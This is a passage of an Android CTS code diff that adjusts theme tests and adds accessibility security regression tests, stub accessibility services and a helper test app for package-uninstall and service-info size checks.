sendTestResult(getInteger(R.integer.enable), "");
} else if (requestCode == getInteger(R.integer.disable)
&& resultCode == Activity.RESULT_OK) {
- finish();
sendTestResult(getInteger(R.integer.disable), "");
}
} catch (Exception e) {
- // ignore exception here
+ // Ignore exception here
}
}
void sendTestResult(int result, String message) {
try {
- SharedPreferences sh = getSharedPreferences(getString(R.string.sharedPreferences),
- Context.MODE_PRIVATE);
- if (sh != null) {
- SharedPreferences.Editor edit = sh.edit();
- edit.putInt(getString(R.string.resultKey), result);
- edit.putString(getString(R.string.messageKey), message);
- edit.commit();
- }
+ Intent intent = new Intent(getString(R.string.broadcastAction));
+ intent.putExtra(getString(R.string.resultKey), result);
+ intent.putExtra(getString(R.string.messageKey), message);
+ sendBroadcast(intent);
+ finish();
} catch (Exception e) {
- // ignore exception here
+ // Ignore exception here
}
}
}
diff --git a/hostsidetests/theme/app/src/android/theme/app/AssetBucketVerifier.java b/hostsidetests/theme/app/src/android/theme/app/AssetBucketVerifier.java
new file mode 100644
index 0000000..09875b1
--- /dev/null
+++ b/hostsidetests/theme/app/src/android/theme/app/AssetBucketVerifier.java
@@ -0,0 +1,82 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.theme.app;
+
+import android.content.Context;
+
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.List;
+
+class AssetBucketVerifier {
+ /** Asset file to verify. */
+ private static final String ASSET_NAME = "ic_star_black_16dp.png";
+
+ /** Densities at which {@link #ASSET_NAME} may be defined. */
+ private static final int[] DENSITIES_DPI = new int[] {
+ 160, // mdpi
+ 240, // hdpi
+ 320, // xhdpi
+ 480, // xxhdpi
+ 640, // xxxhdpi
+ };
+
+ /** Bucket names corresponding to {@link #DENSITIES_DPI} entries. */
+ private static final String[] DENSITIES_NAME = new String[] {
+ "mdpi",
+ "hdpi",
+ "xhdpi",
+ "xxhdpi",
+ "xxxhdpi"
+ };
+
+ static class Result {
+ String expectedAtDensity;
+ List<String> foundAtDensity;
+ }
+
+ static Result verifyAssetBucket(Context context) {
+ List<String> foundAtDensity = new ArrayList<>();
+ String expectedAtDensity = null;
+
+ int deviceDensityDpi = context.getResources().getConfiguration().densityDpi;
+ for (int i = 0; i < DENSITIES_DPI.length; i++) {
+ // Find the matching or next-highest density bucket.
+ if (expectedAtDensity == null && DENSITIES_DPI[i] >= deviceDensityDpi) {
+ expectedAtDensity = DENSITIES_NAME[i];
+ }
+
+ // Try to load and close the asset from the current density.
+ try {
+ context.getAssets().openNonAssetFd(1,
+ "res/drawable-" + DENSITIES_NAME[i] + "-v4/" + ASSET_NAME).close();
+ foundAtDensity.add(DENSITIES_NAME[i]);
+ } catch (IOException e) {
+ e.printStackTrace();
+ }
+ }
+
+ if (expectedAtDensity == null) {
+ expectedAtDensity = DENSITIES_NAME[DENSITIES_NAME.length - 1];
+ }
+
+ Result result = new Result();
+ result.expectedAtDensity = expectedAtDensity;
+ result.foundAtDensity = foundAtDensity;
+ return result;
+ }
+}
diff --git a/hostsidetests/theme/app/src/android/theme/app/GenerateImagesActivity.java b/hostsidetests/theme/app/src/android/theme/app/GenerateImagesActivity.java
index b764752..6be679b 100644
--- a/hostsidetests/theme/app/src/android/theme/app/GenerateImagesActivity.java
+++ b/hostsidetests/theme/app/src/android/theme/app/GenerateImagesActivity.java
@@ -65,14 +65,41 @@
// Useful for local testing. Not required for CTS harness.
getWindow().addFlags(LayoutParams.FLAG_KEEP_SCREEN_ON);
- mOutputDir = setupOutputDirectory();
- if (mOutputDir == null) {
- finish("Failed to create output directory " + mOutputDir.getAbsolutePath(), false);
+ // Make sure the device has reasonable assets.
+ String assetDensityFailureMsg = checkAssetDensity();
+ if (assetDensityFailureMsg != null) {
+ finish("Failed to verify device assets: "+ assetDensityFailureMsg, false);
} else {
- generateNextImage();
+ mOutputDir = setupOutputDirectory();
+ if (mOutputDir == null) {
+ finish("Failed to create output directory: " + OUT_DIR, false);
+ } else {
+ generateNextImage();
+ }
}
}
+ private String checkAssetDensity() {
+ AssetBucketVerifier.Result result = AssetBucketVerifier.verifyAssetBucket(this);
+
+ String message;
+ if (result.foundAtDensity.contains(result.expectedAtDensity)) {
+ message = null;
+ } else if (result.foundAtDensity.isEmpty()) {
+ message = "Failed to find expected device assets at any density";
+ } else {
+ StringBuilder foundAtDensityStr = new StringBuilder(result.foundAtDensity.get(0));
+ for (int i = 1; i < result.foundAtDensity.size(); i++) {
+ foundAtDensityStr.append(", ");
+ foundAtDensityStr.append(result.foundAtDensity.get(i));
+ }
+ message = "Failed to find device assets at expected density ("
+ + result.expectedAtDensity + "), but found at " + foundAtDensityStr;
+ }
+
+ return message;
+ }
+
private File setupOutputDirectory() {
mOutputDir = new File(Environment.getExternalStorageDirectory(), OUT_DIR);
ThemeTestUtils.deleteDirectory(mOutputDir);
@@ -105,8 +132,9 @@
private void generateNextImage() {
// Keep trying themes until one works.
boolean success = false;
- while (++mCurrentTheme < THEMES.length && !success) {
+ while (mCurrentTheme < THEMES.length && !success) {
success = launchThemeDeviceActivity();
+ mCurrentTheme++;
}
// If we ran out of themes, we're done.
diff --git a/tests/accessibility/Android.bp b/tests/accessibility/Android.bp
index ef3682f..e8e1545 100644
--- a/tests/accessibility/Android.bp
+++ b/tests/accessibility/Android.bp
@@ -21,6 +21,7 @@
sdk_version: "test_current",
static_libs: [
"compatibility-device-util-axt",
+ "sts-device-util",
],
srcs: ["common/src/**/*.java"],
}
@@ -40,6 +41,7 @@
test_suites: [
"cts",
"general-tests",
+ "sts",
],
sdk_version: "test_current",
}
diff --git a/tests/accessibility/AndroidManifest.xml b/tests/accessibility/AndroidManifest.xml
index d2230e7..1fe3cb6 100644
--- a/tests/accessibility/AndroidManifest.xml
+++ b/tests/accessibility/AndroidManifest.xml
@@ -66,6 +66,17 @@
android:resource="@xml/speaking_and_vibrating_accessibilityservice"/>
</service>
+ <service android:name=".NoFeedbackAccessibilityService"
+ android:label="@string/title_no_feedback_accessibility_service"
+ android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.accessibilityservice.AccessibilityService"/>
+ </intent-filter>
+ <meta-data android:name="android.accessibilityservice"
+ android:resource="@xml/no_feedback_accessibilityservice"/>
+ </service>
+
<service android:name=".AccessibilityButtonService"
android:label="@string/title_accessibility_button_service"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
diff --git a/tests/accessibility/res/values/strings.xml b/tests/accessibility/res/values/strings.xml
index 37d3051..871d5f9 100644
--- a/tests/accessibility/res/values/strings.xml
+++ b/tests/accessibility/res/values/strings.xml
@@ -26,6 +26,9 @@
<!-- String title for the vibrating accessibility service -->
<string name="title_speaking_and_vibrating_accessibility_service">Speaking and Vibrating Accessibility Service</string>
+ <!-- String title for the no-feedback accessibility service -->
+ <string name="title_no_feedback_accessibility_service">No-Feedback Accessibility Service</string>
+
<!-- String title for the accessibility button service -->
<string name="title_accessibility_button_service">Accessibility Button Service</string>
diff --git a/tests/accessibility/res/xml/no_feedback_accessibilityservice.xml b/tests/accessibility/res/xml/no_feedback_accessibilityservice.xml
new file mode 100644
index 0000000..168e584
--- /dev/null
+++ b/tests/accessibility/res/xml/no_feedback_accessibilityservice.xml
@@ -0,0 +1,16 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"/>
diff --git a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityManagerTest.java b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityManagerTest.java
index 0f5afd1..27c3aac 100644
--- a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityManagerTest.java
+++ b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityManagerTest.java
@@ -34,6 +34,7 @@
import android.content.Context;
import android.content.pm.ServiceInfo;
import android.os.Handler;
+import android.platform.test.annotations.AsbSecurityTest;
import android.view.accessibility.AccessibilityEvent;
import android.view.accessibility.AccessibilityManager;
import android.view.accessibility.AccessibilityManager.AccessibilityServicesStateChangeListener;
@@ -44,6 +45,8 @@
import androidx.test.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
import com.android.compatibility.common.util.PollingCheck;
import com.android.compatibility.common.util.SettingsStateChangerRule;
import com.android.compatibility.common.util.SystemUtil;
@@ -63,7 +66,7 @@
* Class for testing {@link AccessibilityManager}.
*/
@RunWith(AndroidJUnit4.class)
-public class AccessibilityManagerTest {
+public class AccessibilityManagerTest extends StsExtraBusinessLogicTestCase {
private AccessibilityDumpOnFailureRule mDumpOnFailureRule =
new AccessibilityDumpOnFailureRule();
@@ -81,6 +84,11 @@
new InstrumentedAccessibilityServiceTestRule<>(
SpeakingAndVibratingAccessibilityService.class, false);
+ private InstrumentedAccessibilityServiceTestRule<NoFeedbackAccessibilityService>
+ mNoFeedbackAccessibilityServiceRule =
+ new InstrumentedAccessibilityServiceTestRule<>(
+ NoFeedbackAccessibilityService.class, false);
+
private static final Instrumentation sInstrumentation =
InstrumentationRegistry.getInstrumentation();
@@ -93,6 +101,9 @@
private static final String MULTIPLE_FEEDBACK_TYPES_ACCESSIBILITY_SERVICE_NAME =
"android.view.accessibility.cts.SpeakingAndVibratingAccessibilityService";
+ private static final String NO_FEEDBACK_ACCESSIBILITY_SERVICE_NAME =
+ "android.view.accessibility.cts.NoFeedbackAccessibilityService";
+
public static final String ACCESSIBILITY_NON_INTERACTIVE_UI_TIMEOUT_MS =
"accessibility_non_interactive_ui_timeout_ms";
@@ -112,6 +123,7 @@
// SettingsStateChangerRule will suppress accessibility services, so it should be
// executed before enabling a11y services and after disabling a11y services.
.outerRule(mAudioDescriptionSetterRule)
+ .around(mNoFeedbackAccessibilityServiceRule)
.around(mSpeakingAndVibratingAccessibilityServiceRule)
.around(mVibratingAccessibilityServiceRule)
.around(mSpeakingAccessibilityServiceRule)
@@ -241,6 +253,26 @@
assertTrue("The vibrating service should be enabled.", vibratingServiceEnabled);
}
+ @AsbSecurityTest(cveBugId = {243849844})
+ @Test
+ public void testGetEnabledAccessibilityServiceList_NoFeedback() {
+ mNoFeedbackAccessibilityServiceRule.enableService();
+ List<AccessibilityServiceInfo> enabledServices =
+ mAccessibilityManager.getEnabledAccessibilityServiceList(
+ AccessibilityServiceInfo.FEEDBACK_ALL_MASK);
+ boolean noFeedbackServiceEnabled = false;
+ final int serviceCount = enabledServices.size();
+ for (int i = 0; i < serviceCount; i++) {
+ AccessibilityServiceInfo enabledService = enabledServices.get(i);
+ ServiceInfo serviceInfo = enabledService.getResolveInfo().serviceInfo;
+ if (mTargetContext.getPackageName().equals(serviceInfo.packageName)
+ && NO_FEEDBACK_ACCESSIBILITY_SERVICE_NAME.equals(serviceInfo.name)) {
+ noFeedbackServiceEnabled = true;
+ }
+ }
+ assertTrue("The no-feedback service should be enabled.", noFeedbackServiceEnabled);
+ }
+
@Test
public void testGetEnabledAccessibilityServiceListForType() throws Exception {
mSpeakingAccessibilityServiceRule.enableService();
diff --git a/tests/accessibility/src/android/view/accessibility/cts/NoFeedbackAccessibilityService.java b/tests/accessibility/src/android/view/accessibility/cts/NoFeedbackAccessibilityService.java
new file mode 100644
index 0000000..0c79ae4
--- /dev/null
+++ b/tests/accessibility/src/android/view/accessibility/cts/NoFeedbackAccessibilityService.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2012 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.accessibility.cts;
+
+import android.accessibility.cts.common.InstrumentedAccessibilityService;
+import android.content.ComponentName;
+
+/**
+ * Stub accessibility service that reports itself as providing no feedback.
+ */
+public class NoFeedbackAccessibilityService extends InstrumentedAccessibilityService {
+ public static final ComponentName COMPONENT_NAME = new ComponentName(
+ "android.view.accessibility.cts",
+ "android.view.accessibility.cts.NoFeedbackAccessibilityService");
+}
diff --git a/tests/accessibilityservice/Android.bp b/tests/accessibilityservice/Android.bp
index cd6cf80..be064e5 100644
--- a/tests/accessibilityservice/Android.bp
+++ b/tests/accessibilityservice/Android.bp
@@ -27,6 +27,7 @@
"platform-test-annotations",
"CtsAccessibilityCommon",
"CtsInputMethodServiceCommon",
+ "sts-device-util",
],
libs: [
"android.test.runner",
@@ -37,11 +38,13 @@
test_suites: [
"cts",
"general-tests",
+ "sts",
],
sdk_version: "test_current",
per_testcase_directory: true,
data: [
":CtsInputMethod1",
+ ":CtsAccessibilityMultipleServicesApp",
":CtsAccessibilityWidgetProvider"],
}
diff --git a/tests/accessibilityservice/AndroidManifest.xml b/tests/accessibilityservice/AndroidManifest.xml
index 3bde0fd..ad7994e 100644
--- a/tests/accessibilityservice/AndroidManifest.xml
+++ b/tests/accessibilityservice/AndroidManifest.xml
@@ -27,6 +27,8 @@
<uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
<uses-permission android:name="android.permission.POST_NOTIFICATIONS"/>
+ <uses-permission android:name="android.permission.REQUEST_DELETE_PACKAGES" />
+
<application android:theme="@android:style/Theme.Holo.NoActionBar"
android:requestLegacyExternalStorage="true">
diff --git a/tests/accessibilityservice/AndroidTest.xml b/tests/accessibilityservice/AndroidTest.xml
index 48aea2c..8096d29 100644
--- a/tests/accessibilityservice/AndroidTest.xml
+++ b/tests/accessibilityservice/AndroidTest.xml
@@ -24,6 +24,11 @@
<option name="run-command" value="cmd accessibility set-bind-instant-service-allowed true" />
<option name="teardown-command" value="cmd accessibility set-bind-instant-service-allowed false" />
</target_preparer>
+ <target_preparer class="com.android.tradefed.targetprep.PushFilePreparer">
+ <option name="cleanup" value="true" />
+ <option name="push-file" key="CtsAccessibilityMultipleServicesApp.apk"
+ value="/data/local/tmp/cts/content/CtsAccessibilityMultipleServicesApp.apk" />
+ </target_preparer>
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsAccessibilityServiceTestCases.apk" />
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java
index 7dd4ffe..655494f 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java
@@ -17,7 +17,9 @@
package android.accessibilityservice.cts;
import static android.Manifest.permission.POST_NOTIFICATIONS;
+import static android.accessibility.cts.common.InstrumentedAccessibilityService.TIMEOUT_SERVICE_ENABLE;
import static android.accessibility.cts.common.InstrumentedAccessibilityService.enableService;
+import static android.accessibilityservice.AccessibilityServiceInfo.FEEDBACK_ALL_MASK;
import static android.accessibilityservice.cts.utils.AccessibilityEventFilterUtils.filterForEventType;
import static android.accessibilityservice.cts.utils.AccessibilityEventFilterUtils.filterForEventTypeWithAction;
import static android.accessibilityservice.cts.utils.AccessibilityEventFilterUtils.filterForEventTypeWithResource;
@@ -76,7 +78,9 @@
import android.os.Process;
import android.os.SystemClock;
import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
import android.platform.test.annotations.Presubmit;
+import android.provider.Settings;
import android.test.suitebuilder.annotation.MediumTest;
import android.text.TextUtils;
import android.util.Log;
@@ -99,6 +103,9 @@
import androidx.test.runner.AndroidJUnit4;
import com.android.compatibility.common.util.CtsMouseUtil;
+import com.android.compatibility.common.util.ShellUtils;
+import com.android.compatibility.common.util.TestUtils;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import org.junit.After;
import org.junit.AfterClass;
@@ -120,7 +127,7 @@
* are generated and their correct dispatch verified.
*/
@RunWith(AndroidJUnit4.class)
-public class AccessibilityEndToEndTest {
+public class AccessibilityEndToEndTest extends StsExtraBusinessLogicTestCase {
private static final String LOG_TAG = "AccessibilityEndToEndTest";
@@ -1015,6 +1022,71 @@
}
}
+ @AsbSecurityTest(cveBugId = {243378132})
+ @Test
+ public void testUninstallPackage_DisablesMultipleServices() throws Exception {
+ final String apkPath =
+ "/data/local/tmp/cts/content/CtsAccessibilityMultipleServicesApp.apk";
+ final String packageName = "foo.bar.multipleservices";
+ final ComponentName service1 = ComponentName.createRelative(packageName, ".StubService1");
+ final ComponentName service2 = ComponentName.createRelative(packageName, ".StubService2");
+ // Match AccessibilityManagerService#COMPONENT_NAME_SEPARATOR
+ final String componentNameSeparator = ":";
+
+ final String originalEnabledServicesSetting = getEnabledServicesSetting();
+
+ try {
+ // Install the apk in this test method, instead of as part of the target preparer, to
+ // allow repeated --iterations of the test.
+ com.google.common.truth.Truth.assertThat(
+ ShellUtils.runShellCommand("pm install " + apkPath)).startsWith("Success");
+
+ // Enable the two services and wait until AccessibilityManager reports them as enabled.
+ final String servicesToEnable = getEnabledServicesSetting() + componentNameSeparator
+ + service1.flattenToShortString() + componentNameSeparator
+ + service2.flattenToShortString();
+ ShellCommandBuilder.create(sInstrumentation)
+ .putSecureSetting(Settings.Secure.ENABLED_ACCESSIBILITY_SERVICES,
+ servicesToEnable)
+ .putSecureSetting(Settings.Secure.ACCESSIBILITY_ENABLED, "1")
+ .run();
+ TestUtils.waitUntil("Failed to enable 2 services from package " + packageName,
+ (int) TIMEOUT_SERVICE_ENABLE / 1000,
+ () -> getEnabledServices().stream().filter(
+ info -> info.getId().startsWith(packageName)).count() == 2);
+
+ // Uninstall the package that contains the services.
+ com.google.common.truth.Truth.assertThat(
+ ShellUtils.runShellCommand("pm uninstall " + packageName)).startsWith(
+ "Success");
+
+ // Ensure the uninstall removed the services from the secure setting.
+ TestUtils.waitUntil(
+ "Failed to disable services after uninstalling package " + packageName,
+ (int) TIMEOUT_SERVICE_ENABLE / 1000,
+ () -> !getEnabledServicesSetting().contains(packageName));
+ } finally {
+ ShellCommandBuilder.create(sInstrumentation)
+ .putSecureSetting(Settings.Secure.ENABLED_ACCESSIBILITY_SERVICES,
+ originalEnabledServicesSetting)
+ .run();
+ ShellUtils.runShellCommand("pm uninstall " + packageName);
+ }
+ }
+
+ private List<AccessibilityServiceInfo> getEnabledServices() {
+ return ((AccessibilityManager) sInstrumentation.getContext().getSystemService(
+ Context.ACCESSIBILITY_SERVICE)).getEnabledAccessibilityServiceList(
+ FEEDBACK_ALL_MASK);
+ }
+
+ private String getEnabledServicesSetting() {
+ final String result = Settings.Secure.getString(
+ sInstrumentation.getContext().getContentResolver(),
+ Settings.Secure.ENABLED_ACCESSIBILITY_SERVICES);
+ return result != null ? result : "";
+ }
+
private static void assertPackageName(AccessibilityNodeInfo node, String packageName) {
if (node == null) {
return;
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityServiceInfoTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityServiceInfoTest.java
index 01d1659..7312c26 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityServiceInfoTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityServiceInfoTest.java
@@ -16,18 +16,26 @@
package android.accessibilityservice.cts;
+import static android.accessibilityservice.cts.utils.CtsTestUtils.assertThrows;
+
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertSame;
import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
+import android.accessibility.cts.common.InstrumentedAccessibilityService;
import android.accessibilityservice.AccessibilityServiceInfo;
import android.os.Parcel;
+import android.platform.test.annotations.AsbSecurityTest;
import android.platform.test.annotations.Presubmit;
import android.view.accessibility.AccessibilityEvent;
import androidx.test.filters.MediumTest;
import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import com.google.common.base.Strings;
+
import org.junit.Rule;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -37,7 +45,7 @@
*/
@Presubmit
@RunWith(AndroidJUnit4.class)
-public class AccessibilityServiceInfoTest {
+public class AccessibilityServiceInfoTest extends StsExtraBusinessLogicTestCase {
@Rule
public final AccessibilityDumpOnFailureRule mDumpOnFailureRule =
@@ -131,6 +139,22 @@
}
+ @Test
+ @AsbSecurityTest(cveBugId = {261589597})
+ public void testSetServiceInfo_throwsForLargeServiceInfo() {
+ try {
+ final InstrumentedAccessibilityService service =
+ InstrumentedAccessibilityService.enableService(
+ InstrumentedAccessibilityService.class);
+ final AccessibilityServiceInfo info = service.getServiceInfo();
+ info.packageNames = new String[]{Strings.repeat("A", 1024 * 507)};
+
+ assertThrows(IllegalStateException.class, () -> service.setServiceInfo(info));
+ } finally {
+ InstrumentedAccessibilityService.disableAllServices();
+ }
+ }
+
/**
* Fully populates the {@link AccessibilityServiceInfo} to marshal.
*
diff --git a/tests/accessibilityservice/test-apps/MultipleServicesApp/Android.bp b/tests/accessibilityservice/test-apps/MultipleServicesApp/Android.bp
new file mode 100644
index 0000000..d8fdbce
--- /dev/null
+++ b/tests/accessibilityservice/test-apps/MultipleServicesApp/Android.bp
@@ -0,0 +1,24 @@
+// Copyright (C) 2022 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+ name: "CtsAccessibilityMultipleServicesApp",
+ defaults: ["cts_support_defaults"],
+ srcs: ["src/**/*.java"],
+ sdk_version: "test_current",
+}
diff --git a/tests/accessibilityservice/test-apps/MultipleServicesApp/AndroidManifest.xml b/tests/accessibilityservice/test-apps/MultipleServicesApp/AndroidManifest.xml
new file mode 100644
index 0000000..649478e
--- /dev/null
+++ b/tests/accessibilityservice/test-apps/MultipleServicesApp/AndroidManifest.xml
@@ -0,0 +1,41 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="foo.bar.multipleservices"
+ android:targetSandboxVersion="2">
+ <application>
+ <service android:name="foo.bar.multipleservices.StubService1"
+ android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.accessibilityservice.AccessibilityService"/>
+ </intent-filter>
+ <meta-data android:name="android.accessibilityservice"
+ android:resource="@xml/stub_service"/>
+ </service>
+ <service android:name="foo.bar.multipleservices.StubService2"
+ android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.accessibilityservice.AccessibilityService"/>
+ </intent-filter>
+ <meta-data android:name="android.accessibilityservice"
+ android:resource="@xml/stub_service"/>
+ </service>
+ </application>
+</manifest>
diff --git a/tests/accessibilityservice/test-apps/MultipleServicesApp/res/xml/stub_service.xml b/tests/accessibilityservice/test-apps/MultipleServicesApp/res/xml/stub_service.xml
new file mode 100644
index 0000000..0cbd139
--- /dev/null
+++ b/tests/accessibilityservice/test-apps/MultipleServicesApp/res/xml/stub_service.xml
@@ -0,0 +1,17 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android" />
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java b/tests/accessibilityservice/test-apps/MultipleServicesApp/src/foo/bar/multipleservices/StubService1.java
similarity index 60%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
copy to tests/accessibilityservice/test-apps/MultipleServicesApp/src/foo/bar/multipleservices/StubService1.java
index 1a335c7..022f6e1 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
+++ b/tests/accessibilityservice/test-apps/MultipleServicesApp/src/foo/bar/multipleservices/StubService1.java
@@ -14,9 +14,16 @@
* limitations under the License.
*/
-package android.security.cts.cve_2021_0642;
+package foo.bar.multipleservices;
-import android.app.Activity;
+import android.accessibilityservice.AccessibilityService;
+import android.view.accessibility.AccessibilityEvent;
-public class PocActivity extends Activity {
+/** A stub accessibility service for testing package uninstall. */
+public class StubService1 extends AccessibilityService {
+ @Override
+ public void onAccessibilityEvent(AccessibilityEvent event) {}
+
+ @Override
+ public void onInterrupt() {}
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java b/tests/accessibilityservice/test-apps/MultipleServicesApp/src/foo/bar/multipleservices/StubService2.java
similarity index 60%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
copy to tests/accessibilityservice/test-apps/MultipleServicesApp/src/foo/bar/multipleservices/StubService2.java
index 1a335c7..28353c2 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
+++ b/tests/accessibilityservice/test-apps/MultipleServicesApp/src/foo/bar/multipleservices/StubService2.java
@@ -14,9 +14,16 @@
* limitations under the License.
*/
-package android.security.cts.cve_2021_0642;
+package foo.bar.multipleservices;
-import android.app.Activity;
+import android.accessibilityservice.AccessibilityService;
+import android.view.accessibility.AccessibilityEvent;
-public class PocActivity extends Activity {
+/** A stub accessibility service for testing package uninstall. */
+public class StubService2 extends AccessibilityService {
+ @Override
+ public void onAccessibilityEvent(AccessibilityEvent event) {}
+
+ @Override
+ public void onInterrupt() {}
}
diff --git a/tests/app/Android.bp b/tests/app/Android.bp
index 2a9a925..a17e510 100644
--- a/tests/app/Android.bp
+++ b/tests/app/Android.bp
@@ -41,6 +41,7 @@
srcs: [
"src/**/*.java",
"src/**/*.kt",
+ "app/src/android/app/stubs/RemoteActivity.java",
"NotificationListener/src/com/android/test/notificationlistener/INotificationUriAccessService.aidl",
],
// Tag this module as a cts test artifact
@@ -51,12 +52,15 @@
],
instrumentation_for: "CtsAppTestStubs",
sdk_version: "test_current",
- min_sdk_version: "14",
+ // 21 required for multi-dex.
+ min_sdk_version: "21",
// Disable coverage since it pushes us over the dex limit and we don't
// actually need to measure the tests themselves.
jacoco: {
exclude_filter: ["**"],
},
+ // Even with coverage disabled, we're close to the single dex limit, so allow use of multi-dex.
+ dxflags: ["--multi-dex"],
data: [
":CtsSimpleApp",
":CtsAppTestStubs",
diff --git a/tests/app/AndroidManifest.xml b/tests/app/AndroidManifest.xml
index 96e92ab..1ae84b8 100644
--- a/tests/app/AndroidManifest.xml
+++ b/tests/app/AndroidManifest.xml
@@ -34,6 +34,10 @@
<application android:usesCleartextTraffic="true">
<uses-library android:name="android.test.runner" />
<uses-library android:name="org.apache.http.legacy" android:required="false" />
+
+ <service android:name=".InstrumentationHelperService"
+ android:exported="true"
+ android:process=":helper" />
</application>
<instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
@@ -62,4 +66,11 @@
android:targetProcesses="com.android.cts.launcherapps.simpleapp:other,com.android.cts.launcherapps.simpleapp">
</instrumentation>
+ <instrumentation android:name=".ChainedInstrumentationFirst"
+ android:targetPackage="com.android.test.cantsavestate1" >
+ </instrumentation>
+
+ <instrumentation android:name=".ChainedInstrumentationSecond"
+ android:targetPackage="com.android.test.cantsavestate2" >
